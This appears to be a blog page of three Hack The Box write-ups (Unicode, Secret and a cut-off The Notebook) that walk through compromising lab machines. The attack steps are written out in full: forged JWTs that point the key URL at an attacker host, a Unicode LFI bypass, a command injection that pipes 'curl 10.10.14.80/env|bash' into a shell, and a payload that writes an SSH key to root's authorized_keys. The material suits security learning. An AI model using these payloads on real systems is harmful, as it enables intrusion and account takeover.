Hack The Box: Unicode

Prelude

Unicode was an intermediate machine developed by wh0am1root. This was a pretty interesting machine and it is all about bypassing filters. It had a cool initial foothold vector involving crafting a custom JWT, by using an open redirect vulnerability to bypass a JWK URL filter. After that, we could exploit an LFI to get a shell on the box bypassing the LFI filter using unicode characters.

To get root, we again bypass blacklist filter in a python compiled binary application, that can be run as root.

Let me elaborate on how I solved this box.

Exploitation

Nmap returned the following results.

Nmap scan report for 10.10.11.126
Host is up (0.061s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 fd:a0:f7:93:9e:d3:cc:bd:c2:3c:7f:92:35:70:d7:77 (RSA)
|   256 8b:b6:98:2d:fa:00:e5:e2:9c:8f:af:0f:44:99:03:b1 (ECDSA)
|_  256 c9:89:27:3e:91:cb:51:27:6f:39:89:36:10:41:df:7c (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-favicon: Unknown favicon MD5: E06EE2ACCCCCD12A0FD09983B44FE9D9
|_http-title: 503
|_http-server-header: nginx/1.18.0 (Ubuntu)
| http-methods: 
|_  Supported Methods: GET HEAD OPTIONS
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

I’ve navigated to port 80 and found the following site.

Right off the bat, I saw an open redirection in the site, from the Google about us button.

If we click on Google about us, it’ll take us to
http://10.10.11.126/redirect/?url=google.com

Open Redirection means that a web application accepts a user-controlled input that specifies a link to an external site, and uses that link in a Redirect. Open Redirect cannot be considered as a vulnerability by itself. But, this can be used efficiently for phishing attacks and bypass some filters.

So as of right now, this is just an interesting find, and we have to keep digging to find any meaningful vulnerabilities.

So I’ve started gobuster and…

Oh, forgot to tell you all that I’ve shifted to Feroxbuster, after seeing it on an Ippsec video.

It’s like gobuster, but with pretty colors, have almost the same syntax as gobuster and have recursive brute forcing. It’s like mashing dirbuster and gobuster together and I love it!

I’ve feroxbuster-ed (Feels pretty weird, but I’ll allow it!) the site and found a login page.

There was also a registration page. So, I’ve registered using that form and got logged in.

It had a form to upload threat reports in PDF format.

I’ve tried different exploits, but none of them worked.

That’s when I noticed the JWT token in the target and I’ve shifted the focus to it.

I’ve decoded the JWT token and found that the token uses JKU header and it contained a URL, pointing to the JSON formatted JWK file.

A JKU header (JWK Set URL) in a JWT token refers to a JWK (JSON Web Key) object that is JSON encoded, which is used to verify the JWT.

The JSON Web Key (JWK) is a JSON object that contains a well-known public key which can be be used to validate the signature of a JWT signed with the corresponding private key.

So this means that, if the target performs improper JKU header validation, then we can host our own JWK file and thereby craft a valid JWT token. This is explained very well in this blog post.

I’ve used token.dev to generate the JWT interactively. ( JWT.io doesn’t allow modifying the JWT interactively)

I’ve tried to modify the JKU header and changed the URL to my IP address, to see if I get a call back. But it didn’t work. It showed the following error.

This means that there’s some sort of validation of the JKU header in place.

That’s when I remembered about the Open redirection I’ve found ealier.

With the help of some nudge and some trial and error method, I’ve found a valid bypass and got a connection back from the server!

Crafting JWT with malicious JKU

The payload that worked was as follows.

http://hackmedia.htb/static/../redirect/?url=10.10.14.68/jwks.json

The target validates the JKU header by checking if the URL starts with http://hackmedia.htb/static/ . So, if we go up one directory and use /redirect to point the target to my web server, then we can bypass the filter.

Now we need to craft a valid JWK in JSON format. Following is the jwks.json file’s contents.

This blog post talks about how to do this.

I’m going to change the username from secnigma to admin and validate it using my own jwks.json file.

To do this, we first need to generate a public and private key pair, extract the n and e values from the public key, update it to the jwks.json file and host the file in our web server.

Generating keypair.

openssl genrsa -out keypair.pem 2048

Extracting Public key to publickey.crt.

openssl rsa -in keypair.pem -pubout -out publickey.crt

Extracting Private key to pkcs8.key.

openssl pkcs8 -topk8 -inform PEM -outform PEM -nocrypt -in keypair.pem -out pkcs8.key

Now, we need to paste the contents of publickey.crt file into token.dev ‘s Public key section and the contents of pkcs8.key file into token.dev ‘s Private key section.

Following was the private key I’ve genereated (pkcs8.key).


-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQCxxaay8ePWyBBP
F8G9QFz+gldVLgSmjb7uQvtrI/9n8WHEle2Qv+Bx2QReKdy+WGlK2d/bas34I5Qq
FzpNa/iq/2JL4n25igGI5EZtUbSX01nqj5PP/8mb1IlkMqxrSw3GssFQcBBraY84
pMyoH88Ab3ia65cpTrBsH6WROX9UMFOhkJz7zlbwK4th33sNBn5d5vNE/iEUNpgw
tW8lA1h94hQhmS4/7nVZPAwsb9vFyQXrNyb8jQSvnfBz81bbe63N+TxI78WGigRC
QZsP1GDaxo+YifvAjcaClx+NuaGCXlVA6XmPiSCDgHzWeumN5/kJSgIbfj8qZvfV
eUd9fInXAgMBAAECggEBAK4s3IZJL5VZ0Xjc6uqU7EhExnJjsxTInoBtSk6QJ4bc
3pCw4OFIzgxdt8TWuTwZ/Zfj3kvp2kI8Acg3l90RY8OOku2MzOgDyjsohcRIIGv9
HQUPhaBumka+t5pfd8Vr9ORwca1xDvVeqH+0H/y9paBkl0MafrFvMrXNT/f44MNH
MAbQaDYivh7Y4lFFA3mA5zKUX4LhrMrP8UG3a3F2zUVxJRMwsKVf8uVLRwHhRhjw
HOp5cY96J2gDo1utd/wxmsiNdbw/41fokySD8xXiNTdjjDEL/dryS6XlWCiTwblr
nBKWf670p19RORnU5ACcFGTwb6qFLuge/4QZVdbfXGECgYEA22XG6yTKKmOpByBQ
UDhqQSbxLhbG/VJH+1DnX6Gmk1H9YvOdlG2gkoXTtXW8hM1sJ4QThpJzgdF4QFVC
j/LvHdWySlm7mn8yy+dZ0peNo3xVG+NYpJR9XWuyS3Z0Ejoe5LYqyy3rUODkH65L
i+xg51F+d+eeZo1fc6absSnZ87ECgYEAz24YpXNZXTfSLmsg/dc8c72xjQAvt6r/
K4BaWG/q4frA8J38itvLaT7ke/ZVaNSXhBgiWsvZu+MZRXtxAjG8x43PqD0Pg7me
BcL0OUI2oOFleSCmVMnJmgDe2RUv2qMXSj5SkIWdzUJXgFIheehhtlzxevgSeTkA
5kyYnWcM4AcCgYBlsVovWgEe/sy1EeRIGq4dfthhnYsklgPpWEm2iO318RX6zKKo
ztuTrtY/kNAN2k2cT1rhkHZboOUVJK/Smy78bDXUwpzzcqvv2U9IDplHQvUMFSfc
OTuWlrmwwrnwTOJO7qUNQj6FYYg7qwU3WRxde+eb2k8Qh8zLhVk7GAP/MQKBgQDO
eWW5ExeqDY1+vQ5K/ntjLjhVBRF6fpCe6ZWEoGqqZGK3YFtokR5p9buTlQExZyQm
zassu+tQ9d5K5nP33jBuZr+EVLtjwFkGnSdi84DTJWlPZ+uJTI8LZ8BrT4ah2GOv
eFfRGd+Y2GenCJnf8iuJTfzlDZe96Lr3gtkLHO+Y8wKBgHn4GXVSgAh91kizzyhg
/K2991pfxjYVPP/TijX9pYjDzhI53iYiK4sttiMKwnc3LFrfZrXOcavZP0enIL4P
ZX4mWCpsDB+Dz35TxfQ5ol7WT+0T2BFwBd3EXUMZ/Hf+EX2+8TH8IsqA8ykrvIvP
e+hNVbfUdiZjuxGnS2wJlQvu
-----END PRIVATE KEY-----

Following was the public key I’ve genereated (publickey.crt).

-----BEGIN PUBLIC KEY-----
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAscWmsvHj1sgQTxfBvUBc
/oJXVS4Epo2+7kL7ayP/Z/FhxJXtkL/gcdkEXincvlhpStnf22rN+COUKhc6TWv4
qv9iS+J9uYoBiORGbVG0l9NZ6o+Tz//Jm9SJZDKsa0sNxrLBUHAQa2mPOKTMqB/P
AG94muuXKU6wbB+lkTl/VDBToZCc+85W8CuLYd97DQZ+XebzRP4hFDaYMLVvJQNY
feIUIZkuP+51WTwMLG/bxckF6zcm/I0Er53wc/NW23utzfk8SO/FhooEQkGbD9Rg
2saPmIn7wI3Ggpcfjbmhgl5VQOl5j4kgg4B81nrpjef5CUoCG34/Kmb31XlHfXyJ
1wIDAQAB
-----END PUBLIC KEY-----

If everything went right, token.dev will display Verified in green color.

My JWT is now signed using the private key I’ve generated.

Now I need to find the n and e values from the public key and update it to the jwks.json file.

There was a python script provided in the given post, which will generate the required values from the public key in hex format.

So I did all of that and tried to login to the website, but it failed.

After some time and with the help of some nudges, I’ve found my mistake. The original jwks.json file had the n and e values in Base64 encoded format; not Hex format.

I’ve used the following python script to extract n and e values in a base64 encoded format.

# Generating n and e paramaeters
from Crypto.PublicKey import RSA
from base64 import b64encode as b64
def int2bytes(number):
    return number.to_bytes((number.bit_length() + 7) // 8, byteorder="big")
fp = open("publickey.crt", "r")
key = RSA.importKey(fp.read())
fp.close()
n = b64(int2bytes(key.n)).decode()
e = b64(int2bytes(key.e)).decode()
print("n:", n.replace('+', '-').replace('/', '_'))
print("e:", e)

And I’ve updated the jwks.json file with the base64 encoded n and e values.

{
    "keys": [
        {
            "kty": "RSA",
            "use": "sig",
            "kid": "hackthebox",
            "alg": "RS256",
            "n": "scWmsvHj1sgQTxfBvUBc_oJXVS4Epo2-7kL7ayP_Z_FhxJXtkL_gcdkEXincvlhpStnf22rN-COUKhc6TWv4qv9iS-J9uYoBiORGbVG0l9NZ6o-Tz__Jm9SJZDKsa0sNxrLBUHAQa2mPOKTMqB_PAG94muuXKU6wbB-lkTl_VDBToZCc-85W8CuLYd97DQZ-XebzRP4hFDaYMLVvJQNYfeIUIZkuP-51WTwMLG_bxckF6zcm_I0Er53wc_NW23utzfk8SO_FhooEQkGbD9Rg2saPmIn7wI3Ggpcfjbmhgl5VQOl5j4kgg4B81nrpjef5CUoCG34_Kmb31XlHfXyJ1w==",
            "e": "AQAB"
        }
    ]
}

Then I’ve used the following JWT and got logged in as administrator!

eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsImprdSI6Imh0dHA6Ly9oYWNrbWVkaWEuaHRiL3N0YXRpYy8uLi9yZWRpcmVjdC8_dXJsPTEwLjEwLjE0LjY4L2p3a3MuanNvbiJ9.eyJ1c2VyIjoiYWRtaW4ifQ.pf8C0OrtgfC4NELecpmfRtM9yZkhk9bk7p1qyugXJOeaODHK1CYprHH2yJHFk1qn-HoGomLVwzr3njzQZn5DyyRnM52HCPgfwOZL5yz_fI6UgZR0QupllPCIkoM9n-UfLw8avJ6SdxKAzjKEo_xUKN0ztK0SN1Y_eKngJwhz-eNbyDIYt9owW2FaZddk-vYJZnPxOJ0idrAQr_0paRDf8ZOQ8DKDO6eKDgADYUQ7-nXDZybS9xVZPpSBanb9xI2CpLQQRbgSaLSxBrSyvliMRiXaFSIoRJ2wsfTSdVfQLkNk6NkKlvRMnH5YGhM7YEVc7irz_Pre6lAQmsl1A6nqMA

The admin dashboard had some links to reports. If we click the link, it will direct us to a website with a URL, that takes the PDF file names of the report as the GET parameter.

Naturally I’ve suspected LFI.

So, I’ve tried the good old ../../../../../etc/passwd payload, but it showed a peculiar output.

So, there’s some sort of filtering in place to prevent LFI. But can we bypass it? If yes, then how?

The answer lies in the name of this machine. Unicode!

This blog post does a great job at explaining about bypassing WAFs, using Unicode characters.

In short, this is a lot like URL parsing vulnerabilities mentioned in Orange Tsai’s presentation called Breaking Parsing Logic.

We could use Unicode Compatibility of the WAF, to normalize unicode characters into ASCII; so that we could bypass any filters in place that checks only ASCII characters.

As mentioned in the post, we could use this site to convert ASCII values to it’s unicode representaion.

I’ve used the unicode equivalent of ../ to test this bypass technique. The unicode payload is given below.

http://10.10.11.126/display/?page=%E2%80%A5/%E2%80%A5/%E2%80%A5/%E2%80%A5/%E2%80%A5/%E2%80%A5/%E2%80%A5/%E2%80%A5/%E2%80%A5/%E2%80%A5/%E2%80%A5/%E2%80%A5/etc/passwd

I’ve used this payload to succesfully bypass the WAF and include the /etc/passwd file.

Here, we are passing {‥ (U+2025)} character and the Flask web server is normalising it to ASCII’s .. {Double dots}, thereby bypassing the filter.

After that, I’ve started manual enumeration of files using LFI.

Manual enumeration using LFI

I’ve found the Home directory of a user named code by requesting /proc/self/environ file.

Then confirmed the directory’s existence using
/home/code/.bashrc

And got user.txt this way.

Then I requested the file /etc/nginx/sites-enabled/default and got a very intersting file and it’s possible location.

From this, we know that the web root is /home/code/coder and we need to find a file named db.yaml
I requested /home/code/coder/db.yaml and found the password.

I’ve used the password B3stC0d3r2021@@! to login as code via SSH.

That was a loooong user pwn!

Privilege Escalation

Ran sudo -l and found that code can run a binary named treport as root.

The file had three functionalities.

Create, Read, and Download a threat report.

I’ve tried some common exploits and the program generated a familiar error message.

This looks a lot like Python error! So, this binary is compiled from a python script.

I’ve searched for Python disassembly and found some cool tools.

To disassemble python binaries, we first have to disassemble it into a .pyc file, which is the compiled bytecode. After that, we can convert it to a human readable .py script.

Pretty neat!

I’ve used pyinstxtractor to extract ELF to pyc.

python pyinstxtractor.py ../treport

The files will be extacted to a directory named ./treport_extracted.
Then, we can use Decompyle++ to convert .pyc file to Human readable .py file.

But we have to build decompyle++ first.

I’ve used the following commands to build Decompyle++.

cmake -G "Unix Makefiles" 
make clean
make install

If the compilation was succesful, then you’ll see a binary file on the directory named pycdc.

Now we can run pycdc to convert the .pyc file to .py file.

./pycdc ../pyinstxtractor/treport_extracted/treport.pyc > ../treport.py

And I’ve got a readable .py file.

After reading the source code, noticed that there’s a blacklist to filter input when downloading the report.

It blocks the user from accessing files with the protocoles file, gopher or mysql.
However, it only checks the input if the string has the protocol specified in lowercase. This means that we can bypass this blacklist, by specifying the file protocol specifier as File.

I’ve used the following payload to extract the root flag using the follwoing payload.

File:///root/root.txt

I’ve tried SSH-ing into the box using the Private key, but couldn’t.

Errm.. Kinda w00t?

Then I’ve found out about a way to execute commands in bash, without using white space.

So, cat /etc/passwd will become {cat,/etc/passwd}

Here’s the PayloadAllTheThings page about this technique.

We are going to hijack the cURL command and redirect the output to write an SSH public key as an authorized_keys file.

We can then use the private key of the corresponding public key that we wrote and gain shell via that method.

Fist, we’ve got to generate an SSH keypair.

ssh-keygen -f root.key

Now, host the file in a python web server and use the following payload in treport.

{10.10.14.62/root.key.pub,-o,/root/.ssh/authorized_keys}
Saving public key as authorized_keys file

Now, we can login as root via SSH, using the private key we generated.

ssh -i root.key root@10.10.11.126

Finally w00t!

Postlude

And that was Unicode!
A great machine that taught me several new techniques and was an incredible learning experience!

Kudos to wh0am1root for creating such an awesome machine!

Also thanks to opcode, kavigihan, ZyzzBrah, Yuma-Tsushima07, NLTE and alemusix for all the lessons they’ve taught and nudges they’ve given.

Peace out! ✌️

Hack The Box: Secret

Prelude

Secret was an intermediate machine from HTB, developed by z9fr. This was a pretty cool machine, which started with crafting JWT tokens as admin with exposed JWT secret from a github repo. Once we are in as admin, we can then use OS command injection in a vulnerable API endpoint accessible to the admin user to gain the initial shell.

For privilege escalation, we can read the coredump output of a custom compiled SUID binary that can output the wordcount of any file in the system.

Let me elaborate on how I solved this box.

Exploitation

Nmap returned the following results.

Nmap scan report for 10.10.11.120
Host is up (0.055s latency).
Not shown: 997 closed tcp ports (reset)
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 97:af:61:44:10:89:b9:53:f0:80:3f:d7:19:b1:e2:9c (RSA)
|   256 95:ed:65:8d:cd:08:2b:55:dd:17:51:31:1e:3e:18:12 (ECDSA)
|_  256 33:7b:c1:71:d3:33:0f:92:4e:83:5a:1f:52:02:93:5e (ED25519)
80/tcp   open  http    nginx 1.18.0 (Ubuntu)
|_http-title: DUMB Docs
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: nginx/1.18.0 (Ubuntu)
3000/tcp open  http    Node.js (Express middleware)
|_http-title: DUMB Docs
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

We’ve three ports open. If we notice the http title returned, then we can see that port 80 and 3000 probably have the same service running. I’ve confirmed this by navigating to port 80 and port 3000.

The creator’s intention was to run port 3000 listening to localhost and use nginx as a reverse proxy. But it seems like he missed setting the listening address of Node.js to localhost.

So I ignored port 3000 for the beginning and decided to go for t, if I’m stuck.

I navigated to port 80 and found the following website.

Examining the page revealed that it was a documention for an API and the site had a link to download source code of the API. I’ve downloaded the zip and extracted the contents.

It contained a github repo of the API endpoint, which was written in JS.

There was a .env file in the github repo, which contained the JWT secret variable, but the secret was redacted.

So, I looked the diff on a old commit (Specifically commit 3a367e735ee76569664bf7754eaaade7c735d702) and found the actual JWT secret.

git diff 3a367e735ee76569664bf7754eaaade7c735d702

Now that we’ve the JWT secret, we can craft a custom JWT token.

So, the next step is to find a valid JWT token and inspect it. I’ve examined the API documentation given in the site and found a way to register users.

So I’ve used the following cURL request to create a new user.

curl -i -s -k -X 'POST' -H 'Content-Type: application/json' -d '{"name": "secnigma","email": "secnigma@test.com","password": "123test"}' http://10.10.11.120/api/user/register

Note that the Content-Type: application/json Header is very important and without it, the server wouldn’t interpret the data we passed as JSON data.

After that, I’ve referred the documentation and found a way to login to the API using the credentials we just created. The documentation also stated that if the login was succesful, a JWT token would be sent back by the API as response.

So I’ve tried to login and I got a JWT back, as stated in the documentation.

The JWT I got was:

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2MWU5ODE3M2ZjMDkzOTA0NjJmOTFiYWEiLCJuYW1lIjoic2VjbmlnbWEiLCJlbWFpbCI6InNlY25pZ21hQHRlc3QuY29tIiwiaWF0IjoxNjQyNjkzMTkyfQ.Row3IaRM5Id7_Yt5V_bDToTxDKkmOz3szHQfCPa_p8o

I’ve used JWT.io and decoded the JWT.

The JWT contains different variables like id,name,email and date issues in epoch time.

Now we need to find a privileged area of the API, which only the privileged user can access.

Reading the documentation revealed that there is a /priv endpoint to the API, that only the admin can access.

So chances are, this is our target endpoint.

Now, we need to know how the API authenticates using the JWT.

By examining the local-web/routes/private.js file, I’ve found the following code.

This code reveals that the authentication as admin user is done by checking the name variable in the JWT token and if the variable equals to the string theadmin, the it would login the user as administrator.

Since we have the JWT secret, it is pretty easy to do with JWT.io. I’ve modified the JWT with name as theadmin and signed it using the secret we have found earlier and got the JWT of the admin as given below.

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2MWU5ODE3M2ZjMDkzOTA0NjJmOTFiYWEiLCJuYW1lIjoidGhlYWRtaW4iLCJlbWFpbCI6InNlY25pZ21hQHRlc3QuY29tIiwiaWF0IjoxNjQyNjkzMTkyfQ.dxEs0eV1nPf4CctskzZ1DlWeOgi7tWaYHBD29A7gfx8

I then tried to access the /priv endpoint and got the following output.

Ok. We are admin.

Now, we need to find a vulnerability to exploit. So, I’ve read the local-web/routes/private.js file and found a new endpoint.

There’s an endpoint named /logs. The admin can access the endpoint and can view the git log of any file, passed through the file variable. The private.js file uses exec function to execute git log command to the shell.

However, since private.js file passes the entire GET variable to the exec function, without sanitation, we can inject OS commands in it.

I’ve tested the functionality of /api/logs the intended way first.

And it worked flawlessly.

Then I tested the OS command injection vulnerability, by passing the sleep command. I am using the time command to check the time it takes to complete the command.

time curl -H 'auth-token:eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2MWU5ODE3M2ZjMDkzOTA0NjJmOTFiYWEiLCJuYW1lIjoidGhlYWRtaW4iLCJlbWFpbCI6InNlY25pZ21hQHRlc3QuY29tIiwiaWF0IjoxNjQyNjkzMTkyfQ.dxEs0eV1nPf4CctskzZ1DlWeOgi7tWaYHBD29A7gfx8' 'http://10.10.11.120/api/logs?file=.env;sleep+5;'

It returned after 5 seconds.

The usual response time, without the sleep command is as shown below.

So, OS command injection is confirmed.

Let’s get a reverse shell now. Since we’ve to send the payload as a GET variable, we have to use URL encoding.

I am using URL encoded curl to bash pipe to execute a bash reverse shell payload.
Acutal payload is given below.

Payload without URL encoding is shown below.

/api/logs?file=.env;curl 10.10.14.80/env|bash

Sending payload as URL encoded GET variable

I’ve send the request as shown above and got a reverse shell back as dasith.

Cool Kid GIFs - Get the best GIF on GIPHY

Privilege Escalation

There was a mongodb instance running on the target. Got it from the .env file.

I’ve accessed mongo shell using the following command.

mongo "mongodb://127.0.0.1:27017/auth-web

Then used show dbs to view the available databases.

After that, used show collections to list collections (tables).
Then used use auth-web to select the db.

After that, used db.users.find() to list all entries from users collection.

I’ve tried to crack the hashes of users theadmin and dasith, but they didn’t got cracked (in time).

So, I’ve inspected the File system and found a custom SUID binary in the /opt directory.

I’ve inspected the code.c file, which was the source code of the SUID binary. There’s also a file named valgrind.log in the folder to nudge us towards the priv esc part.

The SUID binary allows non-privileged users to view the word count of any file in the system.

The valgrind.log file mentions about memory dumping. So, I am pretty sure that we can read the file that count binary opens by reading it’s coredump.

My first idea was to attach it to gdb, since gdb is present in the system. But, the problem was we can’t debug SUID binaries using gdb, without being root. Reason

So, I’ve tried this bash script to dump memory contents without gdb. But, since this is an SUID program and it will be running as root, unprivileged users cannot view the memory contents with gdb.

That’s when I’ve noticed an interesting function call in the code.c file.

Before prompting for save file location, the binary downgrades privileges and sets PR_SET_DUMPABLE as 1 using a function anmed prctl. Settting PR_SET_DUMPABLE as 1 means that the process’s memory is dumpable.

This documentation also says that if the value of /proc/sys/fs/suid_dumpable is set to a value > 0, then the core of the SUID process can be dumped.

Let’s check the value of /proc/sys/fs/suid_dumpable.

Great! It is set to 2! That means SUID binaries can generate core-dump.

Read More about Suid_dumpable flag

Now, let’s check the /proc/sys/kernel/core_pattern file to see the locaiton of core-dump.

Since the target is an Ubuntu machine, it uses the apport script to handle crashes. The default path of core-dump by apport is at the Current Working Directory or at /var/crash.

Now, let’s start the program and try to read /root/.ssh/id_rsa.

The program is now waiting for the user input. Now, open a new shell and send the program a SIGTRAP (Signal 5) to the process. It tells the processor that an exception occurred.

Note: I’ve tried the CTRL+/ method to send SIGQUIT. But even if it says that core dumped, it doesn’t generate core dump due to some apport weirdness.

kill -5 <pid>

After that, let’s check /var/crash to see if a crash dump is generated.

This is a .crash archived file and it can be extracted using apport-unpack.

apport-unpack <crash-file> <destination>

And we have a core-dump file.

We can now read the core file. This is because, since suid_dumpable flag is enabled, it saves the core-dump with the user as the owner.

I then used Strings on the Coredump file and got the SSH key.

I then used this key to login as root!

W00T!

Post a Gif to describe the Week 10 Win against the Jaguars - Colts Football  - Indianapolis Colts Fan Forum

Postlude

And that was secret!

Even though this was an easy rated machine, it felt like an intermediate machine for me just because of the privilege escalation vector.

I would like to thank plasma for helping me solve the final part of this puzzle!

Kudos to z9fr for creating such an awesome machine!

Peace out! ✌️

Hack The Box: The Notebook

Prelude

The Notebook is an intermediate box from Hack The Box, developed by mostwanted002. This was actually one of the fun machines in HTB and I learned some new things and relearned some old things from this machine.

The initial foothold was kind of unique and interesting. It wasn’t easy, but wasn’t that hard either. The first lateral privilege escalation was pretty standard stuff. The final privilege escalation was actually different and I could see a vulnerability I knew in action.

Let’s start the exploitation.

Exploitation

As usual I started the exploitation with Nmap scan.

nmap -sCV -v -oN tcp 10.10.10.230

And I got the scan result as follows.

# Nmap 7.91 scan initiated Sun May 30 11:47:07 2021 as: /usr/bin/nmap -sCV -v -oN tcp 10.10.10.230
Nmap scan report for 10.10.10.230
Host is up (0.26s latency).
Not shown: 997 closed ports
PORT      STATE    SERVICE VERSION
22/tcp    open     ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 86:df:10:fd:27:a3:fb:d8:36:a7:ed:90:95:33:f5:bf (RSA)
|   256 e7:81:d6:6c:df:ce:b7:30:03:91:5c:b5:13:42:06:44 (ECDSA)
|_  256 c6:06:34:c7:fc:00:c4:62:06:c2:36:0e:ee:5e:bf:6b (ED25519)
80/tcp    open     http    nginx 1.14.0 (Ubuntu)
|_http-favicon: Unknown favicon MD5: B2F904D3046B07D05F90FB6131602ED2
| http-methods: 
|_  Supported Methods: OPTIONS GET HEAD
|_http-server-header: nginx/1.14.0 (Ubuntu)
|_http-title: The Notebook - Your Note Keeper
10010/tcp filtered rxapi
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

There was only two ports running.

From the SSH banner, I presumed the Operating System to be Ubuntu Bionic Beaver 18.04.

Then I started the enumeration of Port 80 by navigating to http://10.10.10.230/ via the web browser and I saw the following page.

There was a Register page and a Login page

I tried some default credentials but they didn’t work. So, I moved on to Register a new account and I got in.

There was a /notes directory, where we can write and save notes. I tried some basic XSS payloads to see if there is any chance for injections. But, nothing worked.

So, I fired up BurpSuite and started looking at the requests and I found out that this web app uses a JWT for authentication.

JWT or JSON Web Token is a string that contains a Header, Payload and optionally the signature of the token. The payload in JWT can optionally be encrypted. JWT are typically used in a web-browser single-sign-on (SSO) context and is a great way to authenticate & authorize without sessions.

In short, JWT works more or less the same as a Session ID, but have more powerful features than a regular Session ID.

A JWT token consists of three base64 encoded strings separated by dots.

We can decode the JWT token using an online service or by using a simple Python script or by selecting the dot separated string hand and base64 decoding.

I used jwt.io to decode the JWT token, since it’s easier and prettier.

From the above output, we can see the Header and Payload part in plain text. If the JWT is encrypted, then we would nee the key/secret to decrypt the token.

From seeing the HEADER section, we can see that three fields.

{
"typ":"JWT",
"alg":"RS256",
"kid":"http://localhost:7070/privKey.key"
}

Here, typ specifies the JSON Web Token, the alg specified what algorithm is used to sign the JWT (Here, it is RSA256) and kid is an optional header claim, which holds a key identifier (secret keyfile used to sign the JWT).

Right away, we can see the issue. The kid parameter is used to verify the JWT and it is a URL for a keyfile named privKey.key.

Since the JWT is unencrypted, we can edit the kid parameter.

Let’s take a look at the Payload part too, before checking the kid issue.

The payload shows a parameter named admin_cap as 0. By taking an educational guess, I thought that this parameter controls if the user has admin access or not.

Exploiting the JWT token vulnerability

Let’s see if the server hits our machine, if we modify the kid parameter with our machine’s IP.

To do that, I changed the kid parameter header part of the JWT using the following command and base64 encoded it.

echo -n '{"typ":"JWT","alg":"RS256","kid":"http://10.10.14.37/privKey.key"}'|base64 -w 0 

I also extracted the payload part of the original JWT token using the following one liner.

 echo -n 'eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsImtpZCI6Imh0dHA6Ly9sb2NhbGhvc3Q6NzA3MC9wcml2S2V5LmtleSJ9.eyJ1c2VybmFtZSI6InNlY25pZ21hIiwiZW1haWwiOiJzZWNuaWdtYUB0ZXN0LmNvbSIsImFkbWluX2NhcCI6IjAifQ.dUvKHGgWZVlib0SrhjtDi1o-2Z-x72xNwx76fTZT547G1N2y1-AyTaw5F04IYPEvqvYlRnYt1Ih3d4eb3-ka9wp0M5oj0nIj44Fml6ouRxdxKRKQ-8eNOqFYRFxaNGG9oypHpvTVf8oC3u2X8lpUkd5MfVJhGXe-vcH7s8K6pij2cP6Ba-CB-oiJIHF8KQUKhJ6VZfZqg9j8XWWKrIZARNh1KpGlNjXeNBopyXT8Q-YWg-rjWVa-G7WKQu-n_jr9hsQ4VYT1PJidYjeVN3nqui7x_7BzGHdhiv7_p2dIxxJQxEED1f44_-vuuMwhG1y9Os4YROCn5EkFM2pCoEYRnKvK3JMawzpno0NTIVpOXArC5eAYIUG5jjQUb93iXIpxHAhS4AtaQ6JNH0ezt1JoLSi0lORUbgjxnrItpGcbF0uzXbchqZZsHMExNYm4684EMTsK_pQvk9dN-6uLXjhblRBBWwdU434pCCiylIgT-cgDroW0T8aRFyuggGo8fKhoxGGSMOI4s6wXtIksPmidR0rxQlxQyzmFKPoyXl1hHTKtjjWuSe5S2oJbTSsHbo8f7aYvHoSy1Ua3kEIopkf8D_lGzFgdEhmUXGwhnAwWJclbSuEYCUURdAUthH8i0Ncfxyn3jbx5zyQDL24NQMcY0OaECrJ3QPRuhTdfG7ItLdU'|cut -d . -f2

Then the combined the two parts with a dot to separate them and the final payload looks like the following.

eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsImtpZCI6Imh0dHA6Ly8xMC4xMC4xNC4zNy9wcml2S2V5LmtleSJ9.eyJ1c2VybmFtZSI6InNlY25pZ21hIiwiZW1haWwiOiJzZWNuaWdtYUB0ZXN0LmNvbSIsImFkbWluX2NhcCI6IjEifQ.dUvKHGgWZVlib0SrhjtDi1o-2Z-x72xNwx76fTZT547G1N2y1-AyTaw5F04IYPEvqvYlRnYt1Ih3d4eb3-ka9wp0M5oj0nIj44Fml6ouRxdxKRKQ-8eNOqFYRFxaNGG9oypHpvTVf8oC3u2X8lpUkd5MfVJhGXe-vcH7s8K6pij2cP6Ba-CB-oiJIHF8KQUKhJ6VZfZqg9j8XWWKrIZARNh1KpGlNjXeNBopyXT8Q-YWg-rjWVa-G7WKQu-n_jr9hsQ4VYT1PJidYjeVN3nqui7x_7BzGHdhiv7_p2dIxxJQxEED1f44_-vuuMwhG1y9Os4YROCn5EkFM2pCoEYRnKvK3JMawzpno0NTIVpOXArC5eAYIUG5jjQUb93iXIpxHAhS4AtaQ6JNH0ezt1JoLSi0lORUbgjxnrItpGcbF0uzXbchqZZsHMExNYm4684EMTsK_pQvk9dN-6uLXjhblRBBWwdU434pCCiylIgT-cgDroW0T8aRFyuggGo8fKhoxGGSMOI4s6wXtIksPmidR0rxQlxQyzmFKPoyXl1hHTKtjjWuSe5S2oJbTSsHbo8f7aYvHoSy1Ua3kEIopkf8D_lGzFgdEhmUXGwhnAwWJclbSuEYCUURdAUthH8i0Ncfxyn3jbx5zyQDL24NQMcY0OaECrJ3QPRuhTdfG7ItLdU

I have skipped the signature part, since that is optional and as of right now, this is just a PoC to verify that the target looks for the privKey.key file from our machine.

